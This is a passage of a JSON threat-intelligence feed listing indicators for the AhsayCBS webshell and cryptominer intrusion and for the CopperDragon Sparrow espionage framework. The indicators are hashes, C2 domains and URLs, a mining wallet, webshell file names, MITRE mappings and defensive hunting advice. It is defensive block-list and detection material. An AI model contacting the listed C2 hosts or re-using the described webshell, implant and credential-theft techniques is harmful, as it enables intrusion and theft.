"AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant/hunt_raw.spl", "download": "AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant/hunt.yaral", "download": "AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant/iocs.csv", "download": "AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant", "share_url": "https://iocwatch.com/t/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant/", "indicators": [ { "value": "8245c7e7d944923f1608592f6c3473dcc6e3a3e43df3dd1c6257e7880948787b", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the XMRig cryptominer dropped as C:\\Windows\\SysWOW64\\kvm-agent\\kvm-agent.exe on exploited AhsayCBS servers.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "a87002c32723f1849b3ad17b1fe6da732c9810b54b08501be21f5b1fcd882a59", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the configuration file for the kvm-agent.exe XMRig miner.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "f76dae028e0c43248c128b3bf609e8d660ce0bf44b53ab9e097887e6f5206eb5", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the scheduled task XML that relaunches the miner as SYSTEM every minute with a backdated start time.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "8aac187bae71f75fa2dde03dcb4a9279c982182ee8254ae96e7a6626fe4c7617", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the Python loader run from an embedded Python install under the SYSTEM profile.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "91b3cc9d6421b651ec85a16062af3ba26700dad2eea4a8a7e42fdd2e422f8803", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the decoded marshal-object payload extracted from the main.py loader.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "6953618238eb40f45b584e52aca22cebbe8ba03e9a80c15c6b593f51f7e49527", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the embedded blob holding the bootstrap, x64 DLL and reflective loader of the Python implant.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "bb2472cf5dc7e5c94216d355bf84fba2c8d088d03d61a1ac0d78639049cf5e1f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the x64 DLL implant extracted from the Python loader, which contacts creepexplosiondarknight[.]com.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "e79c91e8157fef862be8cbe80bdf57b87a541416717265f81f669d751fca4a3d", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the reflective loader component extracted from the Python loader payload.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "6c7a4061bcf08df5fe4a49d37442dc650d751be1a91a8bc802edff213e4d5e61", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the JSP loader in webapps\\rps that reads an encrypted payload from PNG pixel data and runs it in memory.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "6c695baad1d81ed49194d07a79381292c0466208ff1a9862c0c55f971d6a409f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the JSP webshell in webapps\\rps with signed requests, command execution and chunked file transfer.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "e6e576a634166a16bdbfc09b14e7cf8eab90015d2dfa67dd73f3968ee869229b", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the keyed JSP webshell that runs commands and returns Base64-encoded output.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "7a13e59d816d68a071a8648e62a7c3c7f929a61c618a2133ab6f511da24f979d", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the JSP webshell using the fixed secret nobody.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "875d0986ddaa51bfb5e03b06df1213cc3bb7966588d6153bdda57f2e3671e986", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the unauthenticated st_*.jsp webshell planted under the AhsayCBS web directories.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "818bb464271a539c96bcbbfea1db7d5a722512041ed8ed10d3f6c7f366190044", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the earlier JSP webshell variant with cmd, del and rm parameters.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "6f6b66cbdc4a5aa5685d0017abd3f65843a28bcc2bb4e5b78d6d12a844a51aa8", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of the gost tunnelling tool staged in a .st folder as wusta.exe or wustb.exe.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "ca5f8e5247f1a044b8be45ef03187726b9af3ac30fd93fb5bb54144e34ed3738", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of the chisel tunnelling tool staged in a .st folder as wusta.exe or wustb.exe.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "creepexplosiondarknight.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Command-and-control domain of the Python-based implant deployed after AhsayCBS exploitation.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "https://creepexplosiondarknight.com/d", "type": "url", "confidence": "high", "recommended_action": "block", "description": "C2 URL hard-coded in the Python implant's x64 DLL.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "pool-fr.supportxmr.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Public Monero mining pool the kvm-agent.exe miner connected to on port 443.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "104.243.43.115", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Mining pool address the kvm-agent.exe miner connected to on port 443.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "83YFdNe2X8KhKnAERfr2hmN8L3tCKatsheuViWhF6qp2ZA4R8rRkBCgMknEycYqasNbX7C5BSrTp97zHUsUHJoZrR6f5SeX", "type": "xmr_address", "confidence": "high", "recommended_action": "alert", "description": "Monero wallet configured in the kvm-agent.exe miner (pool password zero).", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "kvm-agent.exe", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Miner file name, found in C:\\Windows\\SysWOW64\\kvm-agent\\.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "nsmind.jsp", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Webshell file name planted in webapps\\rps.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "AhsayCBS.jsp", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "JSP loader file name planted in webapps\\rps; check the hash, as the name mimics the product.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] }, { "value": "a2b59a4bb296604b.jsp", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Keyed webshell file name planted under the AhsayCBS web directories.", "source_url": "https://www.huntress.com/blog/ahsaycbs-webshells", "source_label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "name": "Huntress" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant/hunt.kql", "download": "AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant/hunt.spl", "download": "AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant/hunt_raw.spl", "download": "AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant/hunt.yaral", "download": "AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant_hunt.yaral" } ] }, { "id": "CopperDragon-Sparrow-Framework-China-Nexus-Espionage", "folder": "threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage", "name": "CopperDragon: China-Nexus Sparrow Framework Targeting Government and Telecoms", "short": "CopperDragon Sparrow framework", "category": "APT / espionage", "published": "2026-11-10", "entry_date": "2026-11-10 17:59", "last_updated": "2026-11-10", "seq": 10, "headline": "China-nexus Sparrow malware supplier behind espionage against government and telecoms in 21 countries", "summary": "Check Point Research tracks CopperDragon as a possible supplier of malware and infrastructure, the Sparrow framework, to several China-nexus groups including activity previously reported as FamousSparrow (linked to Salt Typhoon), Earth Estries, TropicTrooper and UAT-9244. A year-long investigation found activity in 21 countries across Europe, Asia and Latin America against government, telecommunications, military, research and critical infrastructure organisations, split into three clusters. SilentDelivery compromises legitimate websites in countries including Germany, France and the Czech Republic and shows selected visitors a fake Chrome certificate error that installs the SquadC backdoor or SparrowDoor. OceanGate exploits internet-facing Linux servers, mainly in India, deploys AnnobinDoor, SparrowShell with a modified Reptile rootkit and trojanised SSH, then moves into Windows. DarkWire targets telecoms and government, mainly in Latin America, with the in-memory CopperDoor and DNS-tunnelling CopperDNS backdoors and LSASS credential theft tools.", "caveat": "The report covers about a year of activity and gives no per-address dates, so some IPs may no longer be in use by the operators.", "targets": { "countries": [ { "code": "CZ", "name": "Czech Republic" }, { "code": "DE", "name": "Germany" }, { "code": "FR", "name": "France" }, { "code": "TW", "name": "Taiwan" }, { "code": "NP", "name": "Nepal" }, { "code": "HK", "name": "Hong Kong" }, { "code": "ID", "name": "Indonesia" }, { "code": "IN", "name": "India" } ], "regions": [ "Latin America", "Europe", "Asia" ], "sectors": [ "Telecommunications", "Government", "Military and defence", "Research", "Critical infrastructure" ], "note": "Activity in 21 countries across Latin America, Europe and Asia; only the countries named by Check Point are listed. India is the main OceanGate focus; DarkWire is concentrated in Latin America.", "source": { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "name": "Check Point Research" } }, "mitre": [ { "id": "T1189", "name": "Drive-by Compromise", "url": "https://attack.mitre.org/techniques/T1189/" }, { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1574.002", "name": "DLL Side-Loading", "url": "https://attack.mitre.org/techniques/T1574/002/" }, { "id": "T1556", "name": "Modify Authentication Process", "url": "https://attack.mitre.org/techniques/T1556/" }, { "id": "T1003.001", "name": "LSASS Memory", "url": "https://attack.mitre.org/techniques/T1003/001/" }, { "id": "T1071.004", "name": "DNS", "url": "https://attack.mitre.org/techniques/T1071/004/" }, { "id": "T1090", "name": "Proxy", "url": "https://attack.mitre.org/techniques/T1090/" }, { "id": "T1014", "name": "Rootkit", "url": "https://attack.mitre.org/techniques/T1014/" } ], "recommended_actions": [ "Block the domains, the C2 IPs marked block and the file hashes; alert on the cloud-hosted IPs rather than blocking them.", "Hunt for CertFixer.msi downloads and fake certificate-repair prompts, and for signed applications loading the listed DLL names from unusual folders.", "On internet-facing Linux servers, verify the ssh and sshd binaries against package checksums and look for containerd-demo, xfs_rudp and aplk.", "Alert on new LSA security packages, LSASS dumps and hidden local administrator accounts, and on unusual DNS MX query volumes to rare domains." ], "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "name": "Check Point Research" }, { "url": "https://blog.checkpoint.com/security/copperdragon-uncovering-a-global-china-nexus-cyber-espionage-framework/", "label": "Check Point – CopperDragon: Uncovering a Global China-Nexus Cyber Espionage Framework", "name": "Check Point" }, { "url": "https://bazaar.abuse.ch/sample/b379d07ba81d4190490d9893b2d6d830ff594e042dce26053ef07794d0403787/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar" }, { "url": "https://bazaar.abuse.ch/sample/e5f7bbfc187264336dea5dfebfb5a7dd1e7fcdcc9692db55fbe6eb4d28f027bc/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (2)" }, { "url": "https://bazaar.abuse.ch/sample/e9f2f42ea3611096879f4152a7d78bb3a78a4dbead1c3b7e366dce485207551f/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (3)" }, { "url": "https://bazaar.abuse.ch/sample/f51dc5e1848daee4e607d46faa25033e1151060cd3482ad4439754440d6c4c01/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (4)" }, { "url": "https://bazaar.abuse.ch/sample/8bbc395a7a0faff074c6e31c7da37bf1540a4e7ec3d80870f8d6bd1f5d4cecbb/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (5)" }, { "url": "https://bazaar.abuse.ch/sample/b60404c1299e69df029d9817dcf69f9fe325ecc990e16bc7758f56ce5714184b/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (6)" }, { "url": "https://bazaar.abuse.ch/sample/f23e5391656b178bc0ab510b0fca6ffbd963cf94870c82a5920f0f338f561f18/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (7)" }, { "url": "https://bazaar.abuse.ch/sample/129349a221e6efcc9a047efdfd81197f796fcf38877344f17f85651b21e33427/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (8)" }, { "url": "https://bazaar.abuse.ch/sample/4cafda69af3179ceb4a1f5ed864c501279796254709c86ca236be1cf74a8643f/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (9)" }, { "url": "https://bazaar.abuse.ch/sample/a47279e4ee703092263e7030c43c61533146c00689e7cb8f2080f18e57d5cf7f/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (10)" }, { "url": "https://bazaar.abuse.ch/sample/d4e4a3f55b875673cfdb6d0687cc3f8890585210806b03082d11fb4fa40b57de/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (11)" }, { "url": "https://bazaar.abuse.ch/sample/125525a38abc45e855f848d499582a8100f1428938d4bd3d3eba957072e64e7a/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (12)" }, { "url": "https://bazaar.abuse.ch/sample/d08e09a17df22fb39838dcc9e99756830ef5175bc9e03d615adf979dc85ed052/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (13)" }, { "url": "https://bazaar.abuse.ch/sample/916a16a4a1eb7393b17574835312725e5cb146995a3cbcdf42fa8b9bebaa51b1/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (14)" } ], "indicator_count": 158, "block_now_count": 116, "hunt_count": 42, "hunt_counts": { "alert": 42 }, "indicator_counts": { "ipv4": 93, "sha256": 51, "domain": 14 }, "ioas": [], "ioa_count": 0, "ioa_note": null, "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage/block_now.txt", "download": "CopperDragon-Sparrow-Framework-China-Nexus-Espionage_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage/defender_xdr_indicators.csv", "download": "CopperDragon-Sparrow-Framework-China-Nexus-Espionage_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage/hunt.kql", "download": "CopperDragon-Sparrow-Framework-China-Nexus-Espionage_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage/hunt.spl", "download": "CopperDragon-Sparrow-Framework-China-Nexus-Espionage_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage/hunt_raw.spl", "download": "CopperDragon-Sparrow-Framework-China-Nexus-Espionage_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage/hunt.yaral", "download": "CopperDragon-Sparrow-Framework-China-Nexus-Espionage_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage/iocs.csv", "download": "CopperDragon-Sparrow-Framework-China-Nexus-Espionage_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-10/CopperDragon-Sparrow-Framework-China-Nexus-Espionage", "share_url": "https://iocwatch.com/t/CopperDragon-Sparrow-Framework-China-Nexus-Espionage/", "indicators": [ { "value": "715c206629f59ff5b0134a33362162ce7a40a9b25aa17f0543dc9648d51a67cf", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SquadC Installer (CertFixer.msi) sample, a fake certificate-repair installer that drops the SquadC backdoor, from the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "b379d07ba81d4190490d9893b2d6d830ff594e042dce26053ef07794d0403787", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SquadC Installer (CertFixer.msi) sample, a fake certificate-repair installer that drops the SquadC backdoor, from the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/b379d07ba81d4190490d9893b2d6d830ff594e042dce26053ef07794d0403787/", "name": "MalwareBazaar" } ] }, { "value": "e5f7bbfc187264336dea5dfebfb5a7dd1e7fcdcc9692db55fbe6eb4d28f027bc", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SquadC Installer (CertFixer.msi) sample, a fake certificate-repair installer that drops the SquadC backdoor, from the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/e5f7bbfc187264336dea5dfebfb5a7dd1e7fcdcc9692db55fbe6eb4d28f027bc/", "name": "MalwareBazaar" } ] }, { "value": "e9f2f42ea3611096879f4152a7d78bb3a78a4dbead1c3b7e366dce485207551f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SquadC Installer (CertFixer.msi) sample, a fake certificate-repair installer that drops the SquadC backdoor, from the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/e9f2f42ea3611096879f4152a7d78bb3a78a4dbead1c3b7e366dce485207551f/", "name": "MalwareBazaar" } ] }, { "value": "f44159bec1d4d3f340652cd3c6e250dcf2bdb266e5400d3e267f0466d290dda0", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SquadC Installer (CertFixer.msi) sample, a fake certificate-repair installer that drops the SquadC backdoor, from the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "f51dc5e1848daee4e607d46faa25033e1151060cd3482ad4439754440d6c4c01", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the SquadC Installer (CertFixer.msi) sample, a fake certificate-repair installer that drops the SquadC backdoor, from the CopperDragon SilentDelivery watering-hole cluster (Europe and Asia).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": 